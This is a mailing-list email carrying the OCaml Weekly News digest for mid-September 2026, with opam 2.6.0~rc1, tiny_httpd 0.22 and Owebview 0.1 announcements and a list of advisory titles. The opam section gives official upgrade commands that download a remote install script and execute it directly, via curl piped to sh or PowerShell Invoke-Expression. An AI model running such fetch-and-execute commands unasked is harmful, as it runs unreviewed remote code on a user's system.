From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Authentication-Results: plum.tunbury.org; dkim=pass (1024-bit key; unprotected) header.d=inria.fr header.i=@inria.fr header.a=rsa-sha256 header.s=dc header.b=lSkYhAyf; dkim-atps=neutral Received-SPF: Pass (mailfrom) identity=mailfrom; client-ip=192.134.164.83; helo=mail2-relais-roc.national.inria.fr; envelope-from=caml-list-owner@inria.fr; receiver=tunbury.org Received: from mail2-relais-roc.national.inria.fr (mail2-relais-roc.national.inria.fr [192.134.164.83]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by plum.tunbury.org (Postfix) with ESMTPS id 60EBB40087 for ; Tue, 15 Sep 2026 08:08:30 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=inria.fr; s=dc; h=from:to:date:message-id:mime-version:subject:reply-to: sender:list-id:list-help:list-subscribe:list-unsubscribe: list-post:list-owner:list-archive; bh=sLdYUNc2NT0kiDN6gPblP8JPTZCPkPASeO/6HEoNcVM=; b=lSkYhAyfyRMVxVLSHYWgbb71Vfo74x2RyCF1+q1lap6qSa+NA8VjmAiF e//XdOWlAZ1Y4mtedbYCcFpHDO9ACzr8NFXxEd2aqXnSRqvVgxT0Bo7PP 5VZEtO1AcneI/+5pkEFEerpcPsVy7trwdg6J2lPor/qJHQwCLQSBtb8Ql c=; X-CSE-ConnectionGUID: fqEaa54YSOGBOMN5KTGYug== X-CSE-MsgGUID: 4P+ZAIyyQa28XtCtZCIXuQ== Authentication-Results: mail2-relais-roc.national.inria.fr; dkim=none (message not signed) header.i=none; spf=SoftFail smtp.mailfrom=caml-list-owner@inria.fr; spf=None smtp.helo=postmaster@prod-sympa-app.inria.fr Received-SPF: SoftFail (mail2-relais-roc.national.inria.fr: domain of caml-list-owner@inria.fr is inclined to not designate 128.93.162.27 as permitted sender) identity=mailfrom; client-ip=128.93.162.27; receiver=mail2-relais-roc.national.inria.fr; envelope-from="caml-list-owner@inria.fr"; x-sender="caml-list-owner@inria.fr"; x-conformance=spf_only; x-record-type="v=spf1"; x-record-text="v=spf1 ip4:128.93.142.0/24 ip4:192.134.164.0/24 ip4:128.93.162.160 ip4:128.93.162.3 ip4:128.93.162.88 ip4:89.107.174.7 mx ~all" Received-SPF: None (mail2-relais-roc.national.inria.fr: no sender authenticity information available from domain of postmaster@prod-sympa-app.inria.fr) identity=helo; client-ip=128.93.162.27; receiver=mail2-relais-roc.national.inria.fr; envelope-from="caml-list-owner@inria.fr"; x-sender="postmaster@prod-sympa-app.inria.fr"; x-conformance=spf_only X-IronPort-AV: E=Sophos;i="6.27,103,1787004000"; d="asc'?scan'208,217";a="294987019" Received: from prod-sympa-app.inria.fr ([128.93.162.27]) by mail2-relais-roc.national.inria.fr with ESMTP; 15 Sep 2026 10:08:28 +0200 Received: by prod-sympa-app.inria.fr (Postfix, from userid 990) id CB540826D9; Tue, 15 Sep 2026 10:08:27 +0200 (CEST) Received: from mail3-relais-sop.national.inria.fr (mail3-relais-sop.national.inria.fr [192.134.164.104]) by prod-sympa-app.inria.fr (Postfix) with ESMTP id 2C0BF826D8 for ; Tue, 15 Sep 2026 10:08:19 +0200 (CEST) X-CSE-ConnectionGUID: K7vsaNwHQVi9Ejc1xpv5dg== X-CSE-MsgGUID: pZtuNhN9RTKkFIk++LahjQ== IronPort-SDR: 6aa8fcf0_quwSBG64dd60cXJnPM8wZORfWMGFW0DddujNiJUOKxeqNAm 2Cl/qgzHSOVK13fUeuBoYvPQeyck4ilJhKZs0TQ== X-ThreatScanner-Verdict: Negative X-IPAS-Result: =?us-ascii?q?A0HfJABi+6hqhSIeaIFSCIQWWykbAW9hGRoHCEkDYYN0g?= =?us-ascii?q?0+OJIEWilGDJYJBinwNgVyBEAMYFiECDgcBAwEIBS4BGwQBAgQBAQECAQIBg?= =?us-ascii?q?guCLUYCjggCHwYBBDQTAQIEAwIDAQEBAQEBAQEBAQELAQEBBAEBAQIBAQIEA?= =?us-ascii?q?wEBAQECEAEBAQFASYYVCDIND4FLhgALghKCBjUccWAEAwYHAQEBAQEBASkBA?= =?us-ascii?q?QEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgQIA?= =?us-ascii?q?QwNCgQMFQFVAQgEBhMBATgYEhEDFAEGAwIRARAlAwETARIZAQGCD1gBgiACA?= =?us-ascii?q?hYDNwMFDAQCpU+bJHp/M4EBggwBAQaBCT4CAQsCBQ8v2RsNcoFiCQkUAYEgG?= =?us-ascii?q?IFYhBmCTQQPDQEqSWoCAQKEUQmDGYEfJw+BVUSBFTWBdEoHb4FQMh1CAgEBA?= =?us-ascii?q?ReBDAUBDQQCAQYCCQkPJAmDJYJqghEVgQyBPDxQGQEEChBXg0SDKAOJZoJCL?= =?us-ascii?q?AFVExcLBwVegQgDKi8tbjIdgSM+Fy9YGwYFgR2BJ4JiIxk2eoEJXoErKWESF?= =?us-ascii?q?4EJgggCglSCAQIBSUMOB0VTCSdLEkwpIggSCQETGhdtPTcVGY16ECENgUlIG?= =?us-ascii?q?R+BZQgBJA4KIwsGAgUZNAUIGw4FCAwIDgEBIAIuBAQOFQoTAwUUGRsgDAELD?= =?us-ascii?q?AYJAgcGBBgCDQKSRhICJAQjBwN0jmeDVopDlCY9NAeEIYFgBgyIIGqBJo40g?= =?us-ascii?q?QqGSYQETYEKiz2HA5JSIphmI4I2hyhdSQmBb2uECZFXBwELAwuFOIF/I0kjX?= =?us-ascii?q?QwHMxowQ4JnCRYxHA9YhyeGLBmBFAEEgh8oEDEMcYEbC4E7OTvHCEI1AgEBC?= =?us-ascii?q?gUsBwIHAQwEhWsBAYwILQUVAVZgAQE?= IronPort-PHdr: A9a23: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 IronPort-Data: A9a23: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 IronPort-HdrOrdr: A9a23:GdZ5c6xol/PUeS4s+O6KKrPxEuskLtp133Aq2lEZdPWaSK2lfq eV7ZImPH7P+VEssRQb8uxoV5PsfZqxz/JICMwqTNSftOePghrVEGgg1/qe/9XYcxeOidK1rJ 0QDZSWUeeAfGSS7/yb3ODIKadF/DDdytHQuQ629R4EJz2CKZsQjTuRbDz1LqQcfngiOXNWLv ShD+N81k6dUEVSQMSnJ2UPG8DYvd3Ek57re3c9dmwawTjLozO0yaLwVz2R1RsaSVp0sMQf2F mAvQzlx7mp99a81x/Sxyvr6pxKl937zrJ4dbyxo/lQBDXwqxqiIL18Xri4sCgorPuz0ksjjc XXyi1QSvhb2jf+fnyVvRCo4AXpyjAogkWSs2OwsD/ModHZWDl/MMZKhZtYfhzFgnBQx+1U4e Zk33+5q5ESNh/LnD3869/UEzlmm1G5u2BKq59ks1VvFaUfdZ5Mpsgk8ERZHIxoJlOD1KkrHP NyDMbV+fZRdknyVQGvglVS X-Talos-CUID: =?us-ascii?q?9a23=3AjReUO2jsGJLGfurGOB/oRFHr7DJuUSLD1372PG+?= =?us-ascii?q?BN2c4Zb+eEE+I5v5onJ87?= X-Talos-MUID: 9a23:xo9QzgnsPjHuwsk54tICdnp6Btt1xaSIWXoxspYomsrHdgh5OzWk2WE= X-IronPort-Anti-Spam-Filtered: true X-IronPort-AV: E=Sophos;i="6.27,103,1787004000"; d="asc'?scan'208,217";a="156933137" X-IronPort-Outbreak-Status: No, level 0, Unknown - Unknown X-MGA-submission: =?us-ascii?q?MDH9bwTB/NVNYrO/1pRZtgXanSSMfkLfBFMnIb?= =?us-ascii?q?6yIlMgtYckHFRo36YUMdmZBW0bJYClUbfITsbZ38e1OCUhyMEONN4N9f?= =?us-ascii?q?NfYQwE+2/xuML8Lv9oX+azAMUWpGE/ocLIJsfwbwluQEKm/flXN2FynA?= =?us-ascii?q?5GcPjXbMrhD/dU99QIpfFSFQ=3D=3D?= Received: from mx1.polytechnique.org ([129.104.30.34]) by mail3-smtp-sop.national.inria.fr with ESMTP/TLS/ECDHE-RSA-AES256-GCM-SHA384; 15 Sep 2026 10:08:16 +0200 Received: from mac-03220211.irisa.fr (mac-03220211.irisa.fr [131.254.21.249]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ssl.polytechnique.org (Postfix) with ESMTPSA id D03211A420; Tue, 15 Sep 2026 10:08:11 +0200 (CEST) From: Alan Schmitt To: "lwn" , caml-list@inria.fr Date: Tue, 15 Sep 2026 10:08:09 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/signed; boundary="===-=-="; micalg=pgp-sha256; protocol="application/pgp-signature" X-AV-Checked: ClamAV using ClamSMTP at svoboda.polytechnique.org (Tue Sep 15 10:08:13 2026 +0200 (CEST)) X-Spam-Flag: Unsure, tests=bogofilter, spamicity=0.495852, queueID=DCEE81A43C X-Org-Mail: alan.schmitt.1995@polytechnique.org Subject: [Caml-list] Attn: Development Editor, Latest OCaml Weekly News Reply-To: Alan Schmitt X-Loop: caml-list@inria.fr X-Sequence: 19578 Errors-To: caml-list-owner@inria.fr Precedence: list Precedence: bulk Sender: caml-list-request@inria.fr X-no-archive: yes List-Id: List-Help: , List-Subscribe: , List-Unsubscribe: , List-Post: List-Owner: List-Archive: Archived-At: --===-=-= Content-Type: multipart/mixed; boundary="=-=-=" --=-=-= Content-Type: multipart/alternative; boundary="==-=-=" --==-=-= Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hello Here is the latest OCaml Weekly News, for the week of September 08 to 15, 2026. Table of Contents =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80 opam 2.6.0~alpha1 tiny_httpd 0.22 Owebview 0.1 =E2=80=94 native desktop windows with a web UI, from OCaml OSEC-2026-18: Marshal integer overflow leads to out-of-heap read OSEC-2026-19: JOSE missing RSA signature verification OSEC-2026-20: Cstruct indexing bugs can corrupt filtered output and reverse= parsing results Dune Package Management Support in VSCode Liquidsoap 2.5.x: a practical study of OCaml 5.x concurrency OCaml Public Security Meeting dead_code_analyzer 1.2.1 and 1.3.0 Old CWN opam 2.6.0~alpha1 =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90 Archive: Continuing this thread, Kate announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80= =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Hi again, The first release candidate (2.6.0~rc1) is here. If all goes well this should be the last pre-release before the stable release of 2.6.0. Please tell us if you notice any regression. Main changes compared to 2.6.0~beta2 =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C= =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C :hourglass_done: The main change is another performance regression fix compared to opam 2.5, where packages coming from http repositories (such as the default opam.ocaml.org) were slower to install due to unnecessary reads of the repository database ([#7131]) :open_book: You can read our [blog post] for more information about these changes and more, and for even more details you can take a look at the [release note] or the [changelog]. [#7131] [blog post] [release note] [changelog] Try it! =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C The upgrade instructions are unchanged: For Unix systems =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 bash -c "sh <(curl -fsSL https://opam.ocaml.org/install.sh) --v= ersion 2.6.0~rc1" =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 or from PowerShell for Windows systems =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 Invoke-Expression "& { $(Invoke-RestMethod https://opam.ocaml.o= rg/install.ps1) } -Version 2.6.0~rc1" =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Please report any issues to the [bug-tracker]. Happy hacking, <> <> The opam team <> <> :camel: [bug-tracker] tiny_httpd 0.22 =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90 Archive: Simon Cruanes announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Hi, I'm sedately excited to release [tiny_httpd 0.22]. Tiny_httpd is a HTTP 1.1 server, with basic support for websockets, SSE, and pluggable IO/concurrency (as long as it's direct style). The goal is to keep it reasonably simple and light on dependencies; despite that it has been working just fine=E2=84=A2 since 2019. This is m= ostly a bugfix release (I'll suggestively wave my eyebrows as for where the bug reports came from). [tiny_httpd 0.22] Owebview 0.1 =E2=80=94 native desktop windows with a web UI, from OCaml =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90 Archive: Korkorran announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80 Hi everyone, I'm happy to announce the first release of *[Owebview]*, OCaml bindings to [webview]. It means an embedded web rendering engine in your OCaml apps. It is now available on opam: =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 opam install owebview =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Owebview opens a native window backed by the operating system's own web engine =E2=80=94 WebKit on macOS, WebKitGTK on Linux, WebView2 on Win= dows =E2=80=94 and lets you drive it from OCaml. No Electron, no bundler, no packaged browser: a single executable and some HTML. You can find a blog post about why Owebview is a [solution for your OCaml GUIs.] * An example windows with the three.js library* [Owebview] 